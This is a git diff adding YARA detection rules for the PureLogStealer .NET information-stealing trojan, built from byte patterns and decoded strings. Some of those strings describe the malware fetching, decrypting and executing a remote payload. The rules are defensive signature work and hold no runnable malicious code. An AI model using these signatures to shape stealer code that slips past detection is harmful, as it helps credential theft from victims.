b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ANRA_MTB.yar new file mode 100644 index 0000000000..fa16c68fe2 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ANRA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_ANRA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.ANRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {03 08 91 0d 09 18 28 ?? 00 00 06 0d 09 06 59 08 59 20 ff 00 00 00 5f d2 0d 09 66 d2 0d 07 08 09 9c 08 17 58 0c 08 03 8e 69 32 d5 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ANZA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ANZA_MTB.yar new file mode 100644 index 0000000000..60deb914f6 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ANZA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_ANZA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.ANZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 01 38 00 00 00 00 28 ?? 00 00 0a 13 02 38 ?? 00 00 00 11 07 2a 72 ?? 00 00 70 28 ?? 00 00 0a 13 00 38 ?? ff ff ff 00 11 02 20 00 01 00 00 6f ?? 00 00 0a 38 00 00 00 00 11 02 11 00 6f ?? 00 00 0a 38 00 00 00 00 11 02 11 01 6f ?? 00 00 0a 38 00 00 00 00 11 02 6f ?? 00 00 0a 13 03 38 00 00 00 00 00 02 73 ?? 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 ?? 00 00 0a 13 05 38 00 00 00 00 00 73 ?? 00 00 0a 13 06 38 00 00 00 00 00 11 05 11 06 6f ?? 00 00 0a 38 00 00 00 00 11 06 6f ?? 00 00 0a 13 07 38 00 00 00 00 dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AOTA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AOTA_MTB.yar new file mode 100644 index 0000000000..4a901d3b55 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AOTA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_AOTA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AOTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 05 72 ?? ?? 00 70 13 06 11 05 06 16 06 8e 69 6f ?? 00 00 0a 13 07 11 07 11 06 03 28 ?? 00 00 06 de 0c } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AOYA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AOYA_MTB.yar new file mode 100644 index 0000000000..9a2e7d3d44 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AOYA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_AOYA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AOYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {1e 2d 4d 26 2b 4d 8e 69 8d ?? 00 00 01 2b 47 72 ?? ?? 00 70 1a 2d 42 26 16 2b 41 2b 1b 2b 40 09 06 09 91 08 09 08 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 09 17 58 0d 09 06 8e 69 32 df 07 0a de 23 73 ?? 00 00 0a 2b b0 28 ?? 00 00 0a 2b b0 0a 2b b1 06 2b b0 0b 2b b6 0c 2b bc 0d 2b bc 07 2b bd 26 de 00 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AUUA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AUUA_MTB.yar new file mode 100644 index 0000000000..c9d8726d88 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AUUA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_PureLogStealer_AUUA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AUUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 12 02 28 ?? 00 00 0a 12 02 28 ?? 00 00 0a 28 ?? 00 00 06 13 08 04 03 6f ?? 00 00 0a 59 13 09 11 09 19 32 29 03 12 08 28 ?? 00 00 0a 6f ?? 00 00 0a 03 12 08 28 ?? 00 00 0a 6f ?? 00 00 0a 03 12 08 28 ?? 00 00 0a 6f ?? 00 00 0a 2b 47 11 09 16 31 42 } //5 + $a_03_1 = {01 25 16 12 08 28 ?? 00 00 0a 9c 25 17 12 08 28 ?? 00 00 0a 9c 25 18 12 08 28 ?? 00 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AWSA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AWSA_MTB.yar new file mode 100644 index 0000000000..7f08f5d064 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AWSA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_AWSA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AWSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 0c 1a 8d ?? 00 00 01 0d 08 09 16 09 8e 69 6f ?? 00 00 0a 26 09 16 28 ?? 00 00 0a 13 04 08 16 73 ?? 00 00 0a 13 05 11 04 8d ?? 00 00 01 13 06 16 13 07 2b 15 11 07 11 05 11 06 11 07 11 04 11 07 59 6f ?? 00 00 0a 58 13 07 11 07 11 04 32 e5 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AWVA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AWVA_MTB.yar new file mode 100644 index 0000000000..2e9b040d0a --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AWVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_AWVA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AWVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 0a 2b 38 04 28 ?? 03 00 06 0b 2b 37 28 ?? 03 00 06 25 06 28 ?? 03 00 06 25 07 28 ?? 03 00 06 25 1f 0f 28 ?? 01 00 06 28 ?? 03 00 06 25 1c 28 ?? 01 00 06 28 ?? 03 00 06 0c 2b 0e 1f c1 1f cb 32 c2 2b 06 1f 85 1f 2c 32 c3 08 28 ?? 03 00 06 0d 09 02 16 28 ?? 01 00 06 02 8e 69 28 ?? 03 00 06 13 04 de 24 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AYAB_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AYAB_MTB.yar new file mode 100644 index 0000000000..7388a6de24 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AYAB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_AYAB_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AYAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0b 07 06 28 ?? 00 00 0a 72 ?? 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 0c 73 ?? 00 00 0a 0d 14 13 04 38 be 00 00 00 00 20 00 0c 00 00 28 ?? 00 00 0a dd ?? 00 00 00 26 dd 00 00 00 00 73 ?? 00 00 0a 13 05 11 05 72 ?? 00 00 70 73 ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 13 06 73 ?? 00 00 0a 13 07 11 06 11 07 6f ?? 00 00 0a 11 07 6f ?? 00 00 0a 13 04 dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AYRA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AYRA_MTB.yar new file mode 100644 index 0000000000..3cc1ff8458 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AYRA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_AYRA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AYRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 0a 03 8e 69 1a 59 8d ?? 00 00 01 0b 03 1a 07 16 07 8e 69 28 ?? 00 00 0a 06 28 ?? 00 00 06 0c 07 73 ?? 00 00 0a 0d 09 16 73 ?? 00 00 0a 13 04 16 13 05 38 ?? 00 00 00 11 04 08 11 05 06 11 05 59 6f ?? 00 00 0a 13 06 11 06 39 ?? 00 00 00 11 05 11 06 58 13 05 11 05 06 32 dd 11 05 06 3b ?? 00 00 00 73 ?? 00 00 0a 7a 06 8d ?? 00 00 01 13 07 08 16 11 07 16 06 28 ?? 00 00 0a 11 07 13 08 dd } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AZPA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AZPA_MTB.yar new file mode 100644 index 0000000000..7eb1530654 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_AZPA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_AZPA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.AZPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0c 08 06 6f ?? 00 00 0a 08 07 6f ?? 00 00 0a 73 ?? 00 00 0a 0d 09 08 6f ?? 00 00 0a 17 73 ?? 00 00 0a 13 04 11 04 02 16 02 8e 69 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 09 6f ?? 00 00 0a 13 05 dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_EASS_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_EASS_MTB.yar new file mode 100644 index 0000000000..35b328ba4f --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_EASS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_EASS_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.EASS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {8f 0c 00 00 01 25 71 0c 00 00 01 11 07 11 08 11 07 8e 69 5d 91 61 d2 81 0c 00 00 01 11 08 17 58 13 08 11 08 11 06 8e } //1 + $a_02_1 = {11 09 11 0a 16 20 00 10 00 00 ?? ?? ?? ?? ?? 13 0c 11 0c 16 31 0c 11 0b 11 0a 16 11 0c ?? ?? ?? ?? ?? 11 0c 16 30 d9 } //1 + $a_01_2 = {68 00 6b 00 67 00 75 00 54 00 7a 00 53 00 43 00 62 00 37 00 35 00 67 00 37 00 73 00 4a 00 39 00 43 00 68 00 4d 00 63 00 6d 00 41 00 4f 00 50 00 70 00 65 00 42 00 4c 00 39 00 5a 00 4a 00 79 00 2f 00 74 00 65 00 6a 00 6e 00 6f 00 43 00 6a 00 54 00 2b 00 45 00 3d 00 } //1 hkguTzSCb75g7sJ9ChMcmAOPpeBL9ZJy/tejnoCjT+E= + condition: + ((#a_01_0 & 1)*1+(#a_02_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ENSY_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ENSY_MTB.yar new file mode 100644 index 0000000000..236acc2ea5 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ENSY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_ENSY_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.ENSY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {03 11 0b 11 07 91 ?? ?? ?? ?? ?? 11 07 17 58 13 07 11 07 11 09 32 e9 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_MKV_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_MKV_MTB.yar new file mode 100644 index 0000000000..d89a0260b5 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_MKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_MKV_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 04 11 0a 6f ?? 00 00 0a 20 00 00 00 00 7e 85 00 00 04 7b b5 00 00 04 3a 0f 00 00 00 26 20 01 00 00 00 38 04 00 00 00 fe 0c 03 00 45 04 00 00 00 2d 00 00 00 05 00 00 00 40 00 00 00 63 00 00 00 38 28 00 00 00 11 04 11 07 6f ?? 00 00 0a 20 00 00 00 00 7e 85 00 00 04 7b a5 00 00 04 39 c9 ff ff ff 26 20 00 00 00 00 38 be ff ff ff 11 04 6f ?? 00 00 0a 13 05 20 02 00 00 00 38 ab ff ff ff 03 72 c7 00 00 70 11 05 11 09 16 11 09 8e 69 6f ?? 00 00 0a 6f ?? 00 00 06 20 03 00 00 00 38 88 ff ff ff } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_MTB.yar new file mode 100644 index 0000000000..f4526de45d --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_PureLogStealer_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer!MTB,SIGNATURE_TYPE_PEHSTR_EXT,34 00 34 00 05 00 00 " + + strings : + $a_80_0 = {24 36 31 37 34 31 64 39 31 2d 65 35 38 66 2d 34 62 63 35 2d 62 66 31 32 2d 38 33 65 33 65 61 37 62 30 61 35 33 } //$61741d91-e58f-4bc5-bf12-83e3ea7b0a53 50 + $a_80_1 = {7b 31 31 31 31 31 2d 32 32 32 32 32 2d } //{11111-22222- 1 + $a_80_2 = {42 61 73 65 36 34 53 74 72 69 6e 67 } //Base64String 1 + $a_80_3 = {44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 } //DebuggingModes 1 + $a_80_4 = {47 65 74 42 79 74 65 73 } //GetBytes 1 + condition: + ((#a_80_0 & 1)*50+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=52 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_NP_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_NP_MTB.yar new file mode 100644 index 0000000000..ad3a320a39 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_NP_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_NP_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.NP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {7e 2f 00 00 04 07 9a 06 28 79 00 00 0a 39 0b 00 00 00 7e 30 00 00 04 74 1d 00 00 01 2a 07 17 58 0b 07 7e 2f 00 00 04 8e 69 3f d2 ff ff ff } //3 + $a_01_1 = {24 39 35 64 35 65 65 64 38 2d 33 38 30 38 2d 34 32 31 65 2d 39 62 31 31 2d 36 32 64 35 34 66 30 64 65 32 36 35 } //1 $95d5eed8-3808-421e-9b11-62d54f0de265 + $a_01_2 = {4a 00 61 00 76 00 61 00 53 00 63 00 72 00 69 00 70 00 74 00 2d 00 70 00 6c 00 75 00 67 00 69 00 6e 00 2e 00 65 00 78 00 65 00 } //1 JavaScript-plugin.exe + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_PNED_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_PNED_MTB.yar new file mode 100644 index 0000000000..069535681c --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_PNED_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_PNED_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.PNED!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {13 04 11 04 17 6f ?? 00 00 0a 11 04 18 6f ?? 00 00 0a 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 73 0c 00 00 0a 13 05 11 05 11 04 6f ?? 00 00 0a 17 73 0e 00 00 0a 13 06 11 06 02 16 02 8e 69 6f ?? 00 00 0a 11 06 6f ?? 00 00 0a de 0c } //4 + $a_01_1 = {28 13 00 00 0a 7e 17 00 00 04 6f 72 00 00 0a 74 29 00 00 01 fe 09 00 00 8c 41 00 00 01 6f 4d 00 00 0a 74 18 00 00 01 2a } //2 + $a_01_2 = {06 28 05 00 00 0a 0c 07 28 05 00 00 0a 0d de 07 } //1 + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_RPA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_RPA_MTB.yar new file mode 100644 index 0000000000..ad8ee6ac84 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_RPA_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_BAT_PureLogStealer_RPA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.RPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 09 00 00 " + + strings : + $a_01_0 = {46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 20 00 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 3a 00 20 00 } //10 Failed to decrypt payload: + $a_01_1 = {46 00 65 00 74 00 63 00 68 00 69 00 6e 00 67 00 20 00 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 20 00 66 00 72 00 6f 00 6d 00 20 00 7b 00 30 00 7d 00 } //1 Fetching payload from {0} + $a_01_2 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 65 00 78 00 61 00 6d 00 70 00 6c 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 64 00 79 00 6e 00 61 00 6d 00 69 00 63 00 5f 00 63 00 6f 00 64 00 65 00 2e 00 62 00 69 00 6e 00 } //1 https://example.com/dynamic_code.bin + $a_01_3 = {49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 20 00 73 00 6f 00 75 00 72 00 63 00 65 00 2e 00 } //10 Invalid payload source. + $a_01_4 = {44 00 79 00 6e 00 61 00 6d 00 69 00 63 00 43 00 6f 00 64 00 65 00 45 00 78 00 65 00 63 00 75 00 74 00 6f 00 72 00 2e 00 64 00 79 00 6e 00 61 00 6d 00 69 00 63 00 5f 00 63 00 6f 00 64 00 65 00 2e 00 62 00 69 00 6e 00 } //1 DynamicCodeExecutor.dynamic_code.bin + $a_01_5 = {4c 00 6f 00 61 00 64 00 69 00 6e 00 67 00 20 00 61 00 6e 00 64 00 20 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6e 00 67 00 20 00 64 00 79 00 6e 00 61 00 6d 00 69 00 63 00 20 00 63 00 6f 00 64 00 65 00 } //1 Loading and executing dynamic code + $a_01_6 = {46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 20 00 64 00 79 00 6e 00 61 00 6d 00 69 00 63 00 20 00 63 00 6f 00 64 00 65 00 3a 00 20 00 } //1 Failed to execute dynamic code: + $a_01_7 = {45 00 6e 00 74 00 72 00 79 00 20 00 74 00 79 00 70 00 65 00 20 00 6e 00 6f 00 74 00 20 00 66 00 6f 00 75 00 6e 00 64 00 20 00 69 00 6e 00 20 00 64 00 79 00 6e 00 61 00 6d 00 69 00 63 00 20 00 63 00 6f 00 64 00 65 00 2e 00 } //1 Entry type not found in dynamic code. + $a_01_8 = {45 00 6e 00 74 00 72 00 79 00 20 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 6e 00 6f 00 74 00 20 00 66 00 6f 00 75 00 6e 00 64 00 20 00 69 00 6e 00 20 00 64 00 79 00 6e 00 61 00 6d 00 69 00 63 00 20 00 63 00 6f 00 64 00 65 00 2e 00 } //1 Entry method not found in dynamic code. + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*10+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=27 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_SWA_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_SWA_MTB.yar new file mode 100644 index 0000000000..54bf9e9479 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_SWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_SWA_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.SWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {73 04 00 00 06 25 73 0a 00 00 06 6f ?? 00 00 06 25 73 0c 00 00 06 6f ?? 00 00 06 25 73 0e 00 00 06 6f ?? 00 00 06 25 73 10 00 00 06 6f ?? 00 00 06 6f ?? 00 00 06 2a } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ZKT_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ZKT_MTB.yar new file mode 100644 index 0000000000..d73edf8e1b --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ZKT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogStealer_ZKT_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.ZKT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {08 11 04 07 11 04 91 06 09 93 28 ?? 00 00 0a 61 d2 9c 09 17 58 0d 11 04 17 58 13 04 20 2e 5b 50 7c 00 fe 0e 06 00 00 fe 0d 06 00 48 68 20 2e 5b 6f 15 00 fe 0e 06 00 fe 0d 06 00 48 68 fe 01 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ZQT_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ZQT_MTB.yar new file mode 100644 index 0000000000..dd3951a82a --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ZQT_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogStealer_ZQT_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.ZQT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 00 " + + strings : + $a_03_0 = {02 12 07 28 ?? 00 00 0a 12 07 28 ?? 00 00 0a 6f ?? 00 00 0a 13 17 73 ?? 00 00 0a 13 18 11 18 72 8f 02 00 70 09 6f ?? 00 00 0a 23 00 00 00 00 00 80 76 40 5a } //6 + $a_03_1 = {08 11 18 6f ?? 00 00 0a 00 11 05 72 db 02 00 70 12 17 28 ?? 00 00 0a 12 17 28 ?? 00 00 0a 58 12 17 28 ?? 00 00 0a 58 6b 22 00 00 40 40 5b 22 00 00 7f 43 5b } //5 + $a_03_2 = {59 13 19 12 07 28 ?? 00 00 0a 1f 14 5d 2d 0c 11 04 6f ?? 00 00 0a 16 fe 02 2b 01 16 } //4 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5+(#a_03_2 & 1)*4) >=15 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ZZK_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ZZK_MTB.yar new file mode 100644 index 0000000000..de94ec19fb --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_PureLogStealer_ZZK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_PureLogStealer_ZZK_MTB{ + meta: + description = "Trojan:BAT/PureLogStealer.ZZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {01 25 16 0f 01 28 ?? 00 00 0a 9c 25 17 0f 01 28 ?? 00 00 0a 9c 25 18 0f 01 28 ?? 00 00 0a 9c 13 0e 16 13 0f 2b 14 } //6 + $a_03_1 = {03 07 11 04 6f ?? 00 00 0a 13 05 0e 04 0e 04 4a 17 58 54 23 00 00 00 00 00 00 00 00 13 06 11 06 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_Purelogstealer_SEAW_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_Purelogstealer_SEAW_MTB.yar new file mode 100644 index 0000000000..3c03cacc1c --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_Purelogstealer_SEAW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Purelogstealer_SEAW_MTB{ + meta: + description = "Trojan:BAT/Purelogstealer.SEAW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {02 28 0a 00 00 06 0a 73 0b 00 00 0a 25 06 28 09 00 00 06 6f 0c 00 00 0a 0b } //2 + condition: + ((#a_01_0 & 1)*2) 